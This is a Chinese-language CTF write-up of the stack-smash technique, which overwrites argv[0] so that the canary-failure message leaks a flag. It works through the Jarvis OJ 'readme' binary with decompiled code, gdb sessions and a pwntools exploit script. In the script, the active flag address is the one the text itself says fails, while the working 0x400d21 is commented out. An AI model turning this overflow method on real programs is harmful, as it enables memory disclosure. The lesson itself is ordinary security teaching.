原理
在程序添加了canary保护后,如果我们读取的buffer覆盖了对应的值时,程序就会报错,而我们一般并不会关心报错信息。
但stack smash技巧则是利用打印这一信息的程序得到我们想要的内容。
这是因为程序在启动canary保护之后,如果发现canary被修改的话,程序就会执行__stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下,这个指针指向程序名。
所以说如果我们利用栈溢出覆盖argv[0]为我们想要的输出的字符串地址,那么在__fortify_fail函数中就会输出我们想要的信息。
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
Example
下载地址
远程地址:pwn.jarvisoj.com:9877
checksec+IDA
[*] '/mnt/hgfs/ubuntu_share/pwn/stack/readme/readme.bin'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
unsigned __int64 sub_4007E0()
{
__int64 v0; // rbx
int v1; // eax
__int64 v3; // [rsp+0h] [rbp-128h]
unsigned __int64 v4; // [rsp+108h] [rbp-20h]
v4 = __readfsqword(0x28u);
__printf_chk();
if ( !_IO_gets((__int64)&v3, (__int64)"Hello!\nWhat's your name? ") )
LABEL_9:
_exit(1);
v0 = 0LL;
__printf_chk();
while ( 1 )
{
v1 = _IO_getc(stdin);
if ( v1 == -1 )
goto LABEL_9;
if ( v1 == '\n' )
break;
byte_600D20[v0++] = v1;
if ( v0 == 32 )
goto LABEL_8;
}
memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));
LABEL_8:
puts("Thank you, bye!");
return __readfsqword(0x28u) ^ v4;
}
分析程序逻辑
可以看出函数的溢出点在v3处
发现在while循环里的byte_600D20可能有点东西
果不其然,服务器的程序在该位置处是真正的flag
再仔细分析该程序,发现需要输入两次,第一次为溢出,第二次输入的字符覆盖掉了flag的部分字符
while之后还进行了memset清零,可以看出来,flag的位数应为32位,flag把第二次输入的保留,剩下的全部清0。
所以我们把argv[0]指针指向的地址直接改为600D20是不行的,这里用到一个小技巧:
在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 gref 来进行查找。
查找存储flag的地址
gef➤ b *0x400873
Breakpoint 1 at 0x400873
gef➤ r
Starting program: /mnt/hgfs/ubuntu_share/pwn/stack/readme/readme.bin
Hello!
What's your name? seu_student
Nice to meet you, seu_student.
Please overwrite the flag: sus_2019
Breakpoint 1, 0x0000000000400873 in ?? ()
gef➤ grep sus
[+] Searching 'sus' in memory
[+] In '/mnt/hgfs/ubuntu_share/pwn/stack/readme/readme.bin'(0x600000-0x601000), permission=rw-
0x600d20 - 0x600d3f → "sus_2019ServerHasTheFlagHere..."
[+] In '[heap]'(0x601000-0x622000), permission=rw-
0x601010 - 0x60101e → "sus_2019\nnt\n"
[+] In '/lib/x86_64-linux-gnu/libc-2.23.so'(0x7ffff7a0d000-0x7ffff7bcd000), permission=r-x
0x7ffff7a226d2 - 0x7ffff7a226d9 → "suspend"
gef➤ grep 2C3
[+] Searching '2C3' in memory
[+] In '/mnt/hgfs/ubuntu_share/pwn/stack/readme/readme.bin'(0x400000-0x401000), permission=r-x
0x400d21 - 0x400d3f → "2C3_TheServerHasTheFlagHere..."
可以看出在0x400d21地址处存储的就是另一处映射的flag
查找偏移
下面我们需要查找偏移
将断点下在main函数处,查看文件名的存储地址
将0x00007fffffffde18存储的地址覆盖为0x400d21即可。
如何覆盖0x00007fffffffde18该处的地址呢?
我们将断点下在call io_gets的后一个地址处
gef➤ b *0x400813
Breakpoint 1 at 0x400813
gef➤ r
Starting program: /mnt/hgfs/ubuntu_share/pwn/stack/readme/readme.bin
Hello!
What's your name? seu_student
Breakpoint 1, 0x0000000000400813 in ?? ()
───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdc00│+0x0000: "seu_student" ← $rax, $rsp
0x00007fffffffdc08│+0x0008: 0x0000000000746e65 ("ent"?)
0x00007fffffffdc10│+0x0010: 0x0000000000000000
0x00007fffffffdc18│+0x0018: 0x0000000000000000
0x00007fffffffdc20│+0x0020: 0x0000000000000000
0x00007fffffffdc28│+0x0028: 0x0000000000000000
0x00007fffffffdc30│+0x0030: 0x0000000000000000
0x00007fffffffdc38│+0x0038: 0x0000000000000000
可以看到输入的字符串存储在了0x00007fffffffdc00地址处。
这样我们需要输入(0x00007fffffffde18-0x00007fffffffdc00)个字符,然后覆盖该地址的内容为flag的地址
编写exp
from pwn import *
context.log_level = 'DEBUG'
sh = process("readme.bin")
#sh = remote("pwn.jarvisoj.com", 9877)
arg_addr = 0x00007fffffffde18
rsp_addr = 0x00007fffffffdc00
#flag_addr = 0x400d21
flag_addr = 0x600d20
sh.recvuntil('name?')
payload = 'a' * (arg_addr - rsp_addr) + p64(flag_addr)
sh.sendline(payload)
sh.recvuntil("flag:")
sh.sendline('a')
data = sh.recv()
sh.interactive()